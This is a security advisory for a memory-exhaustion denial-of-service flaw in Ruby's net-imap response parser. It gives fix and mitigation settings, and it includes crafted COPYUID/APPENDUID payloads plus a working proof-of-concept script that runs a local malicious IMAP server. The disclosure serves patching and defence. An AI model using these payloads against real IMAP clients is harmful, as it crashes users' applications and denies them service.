Vulnerability Instance

Possible DoS by memory exhaustion in net-imap
### Summary
There is a possibility for denial of service by memory exhaustion in `net-imap`'s response parser.  At any time while the client is connected, a malicious server can send  can send highly compressed `uid-set` data which is automatically read by the client's receiver thread.  The response parser uses `Range#to_a` to convert the `uid-set` data into arrays of integers, with no limitation on the expanded size of the ranges.

### Details
IMAP's `uid-set` and `sequence-set` formats can compress ranges of numbers, for example: `"1,2,3,4,5"` and `"1:5"` both represent the same set.  When `Net::IMAP::ResponseParser` receives `APPENDUID` or `COPYUID` response codes, it expands each `uid-set` into an array of integers.  On a 64 bit system, these arrays will expand to 8 bytes for each number in the set.  A malicious IMAP server may send specially crafted `APPENDUID` or `COPYUID` responses with very large `uid-set` ranges.

The `Net::IMAP` client parses each server response in a separate thread, as soon as each responses is received from the server.  This attack works even when the client does not handle the `APPENDUID` or `COPYUID` responses.

Malicious inputs:

```ruby
# 40 bytes expands to ~1.6GB:
"* OK [COPYUID 1 1:99999999 1:99999999]\r\n"

# Worst *valid* input scenario (using uint32 max),
# 44 bytes expands to 64GiB:
"* OK [COPYUID 1 1:4294967295 1:4294967295]\r\n"

# Numbers must be non-zero uint32, but this isn't validated.  Arrays larger than
# UINT32_MAX can be created.  For example, the following would theoretically
# expand to almost 800 exabytes:
"* OK [COPYUID 1 1:99999999999999999999 1:99999999999999999999]\r\n"
```

Simple way to test this:
```ruby
require "net/imap"

def test(size)
  input = "A004 OK [COPYUID 1 1:#{size} 1:#{size}] too large?\r\n"
  parser = Net::IMAP::ResponseParser.new
  parser.parse input
end

test(99_999_999)
```

### Fixes

#### Preferred Fix, minor API changes
Upgrade to v0.4.19, v0.5.6, or higher, and configure:
```ruby
# globally
Net::IMAP.config.parser_use_deprecated_uidplus_data = false
# per-client
imap = Net::IMAP.new(hostname, ssl: true,
                               parser_use_deprecated_uidplus_data: false)
imap.config.parser_use_deprecated_uidplus_data = false
```

This replaces `UIDPlusData` with `AppendUIDData` and `CopyUIDData`.  These classes store their UIDs as `Net::IMAP::SequenceSet` objects (_not_ expanded into arrays of integers).  Code that does not handle `APPENDUID` or `COPYUID` responses will not notice any difference.  Code that does handle these responses _may_ need to be updated.  See the documentation for [UIDPlusData](https://ruby.github.io/net-imap/Net/IMAP/UIDPlusData.html), [AppendUIDData](https://ruby.github.io/net-imap/Net/IMAP/AppendUIDData.html) and [CopyUIDData](https://ruby.github.io/net-imap/Net/IMAP/CopyUIDData.html).

For v0.3.8, this option is not available.
For v0.4.19, the default value is `true`.
For v0.5.6, the default value is `:up_to_max_size`.
For v0.6.0, the only allowed value will be `false`  _(`UIDPlusData` will be removed from v0.6)_.

#### Mitigation, backward compatible API
Upgrade to v0.3.8, v0.4.19, v0.5.6, or higher.

For backward compatibility, `uid-set` can still be expanded into an array, but a maximum limit will be applied.

Assign `config.parser_max_deprecated_uidplus_data_size` to set the maximum `UIDPlusData` UID set size.
When `config.parser_use_deprecated_uidplus_data == true`, larger sets will raise `Net::IMAP::ResponseParseError`.
When  `config.parser_use_deprecated_uidplus_data == :up_to_max_size`, larger sets will use `AppendUIDData` or `CopyUIDData`.

For v0.3,8, this limit is _hard-coded_ to 10,000, and larger sets will always raise `Net::IMAP::ResponseParseError`.
For v0.4.19, the limit defaults to 1000.
For v0.5.6, the limit defaults to 100.
For v0.6.0, the limit will be ignored  _(`UIDPlusData` will be removed from v0.6)_.

#### Please Note: unhandled responses
If the client does not add response handlers to prune unhandled responses, a malicious server can still eventually exhaust all client memory, by repeatedly sending malicious responses.  However, `net-imap` has always retained unhandled responses, and it has always been necessary for long-lived connections to prune these responses.  _This is not significantly different from connecting to a trusted server with a long-lived connection._  To limit the maximum number of retained responses, a simple handler might look something like the following:

  ```ruby
  limit = 1000
  imap.add_response_handler do |resp|
    next unless resp.respond_to?(:name) && resp.respond_to?(:data)
    name = resp.name
    code = resp.data.code&.name if resp.data.respond_to?(:code)
    if Net::IMAP::VERSION > "0.4.0"
      imap.responses(name) { _1.slice!(0...-limit) }
      imap.responses(code) { _1.slice!(0...-limit) }
    else
      imap.responses(name).slice!(0...-limit)
      imap.responses(code).slice!(0...-limit)
    end
  end
  ```

### Proof of concept

Save the following to a ruby file (e.g: `poc.rb`) and make it executable:
```ruby
#!/usr/bin/env ruby
require 'socket'
require 'net/imap'

if !defined?(Net::IMAP.config)
  puts "Net::IMAP.config is not available"
elsif !Net::IMAP.config.respond_to?(:parser_use_deprecated_uidplus_data)
  puts "Net::IMAP.config.parser_use_deprecated_uidplus_data is not available"
else
  Net::IMAP.config.parser_use_deprecated_uidplus_data = :up_to_max_size
  puts "Updated parser_use_deprecated_uidplus_data to :up_to_max_size"
end

size = Integer(ENV["UID_SET_SIZE"] || 2**32-1)

def server_addr
  Addrinfo.tcp("localhost", 0).ip_address
end

def create_tcp_server
  TCPServer.new(server_addr, 0)
end

def start_server
  th = Thread.new do
    yield
  end
  sleep 0.1 until th.stop?
end

def copyuid_response(tag: "*", size: 2**32-1, text: "too large?")
  "#{tag} OK [COPYUID 1 1:#{size} 1:#{size}] #{text}\r\n"
end

def appenduid_response(tag: "*", size: 2**32-1, text: "too large?")
  "#{tag} OK [APPENDUID 1 1:#{size}] #{text}\r\n"
end

server = create_tcp_server
port = server.addr[1]
puts "Server started on port #{port}"

# server
start_server do
  sock = server.accept
  begin
    sock.print "* OK test server\r\n"
    cmd = sock.gets("\r\n", chomp: true)
    tag = cmd.match(/\A(\w+) /)[1]
    puts "Received: #{cmd}"

    malicious_response = appenduid_response(size:)
    puts "Sending: #{malicious_response.chomp}"
    sock.print malicious_response

    malicious_response = copyuid_response(size:)
    puts "Sending: #{malicious_response.chomp}"
    sock.print malicious_response
    sock.print "* CAPABILITY JUMBO=UIDPLUS PROOF_OF_CONCEPT\r\n"
    sock.print "#{tag} OK CAPABILITY completed\r\n"

    cmd = sock.gets("\r\n", chomp: true)
    tag = cmd.match(/\A(\w+) /)[1]
    puts "Received: #{cmd}"
    sock.print "* BYE If you made it this far, you passed the test!\r\n"
    sock.print "#{tag} OK LOGOUT completed\r\n"
  rescue Exception => ex
    puts "Error in server: #{ex.message} (#{ex.class})"
  ensure
    sock.close
    server.close
  end
end

# client
begin
  puts "Client connecting,.."
  imap = Net::IMAP.new(server_addr, port: port)
  puts "Received capabilities: #{imap.capability}"
  pp responses: imap.responses
  imap.logout
rescue Exception => ex
  puts "Error in client: #{ex.message} (#{ex.class})"
  puts ex.full_message
ensure
  imap.disconnect if imap
end
```

Use `ulimit` to limit the process's virtual memory.  The following example limits virtual memory to 1GB:
```console
$ ( ulimit -v 1000000 && exec ./poc.rb )
Server started on port 34291
Client connecting,..
Received: RUBY0001 CAPABILITY
Sending: * OK [APPENDUID 1 1:4294967295] too large?
Sending: * OK [COPYUID 1 1:4294967295 1:4294967295] too large?
Error in server: Connection reset by peer @ io_fillbuf - fd:9  (Errno::ECONNRESET)
Error in client: failed to allocate memory (NoMemoryError)
/gems/net-imap-0.5.5/lib/net/imap.rb:3271:in 'Net::IMAP#get_tagged_response': failed to allocate memory (NoMemoryError)
        from /gems/net-imap-0.5.5/lib/net/imap.rb:3371:in 'block in Net::IMAP#send_command'
        from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize'
        from /rubylibdir/monitor.rb:201:in 'MonitorMixin#mon_synchronize'
        from /gems/net-imap-0.5.5/lib/net/imap.rb:3353:in 'Net::IMAP#send_command'
        from /gems/net-imap-0.5.5/lib/net/imap.rb:1128:in 'block in Net::IMAP#capability'
        from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize'
        from /rubylibdir/monitor.rb:201:in 'MonitorMixin#mon_synchronize'
        from /gems/net-imap-0.5.5/lib/net/imap.rb:1127:in 'Net::IMAP#capability'
        from /workspace/poc.rb:70:in '<main>'
```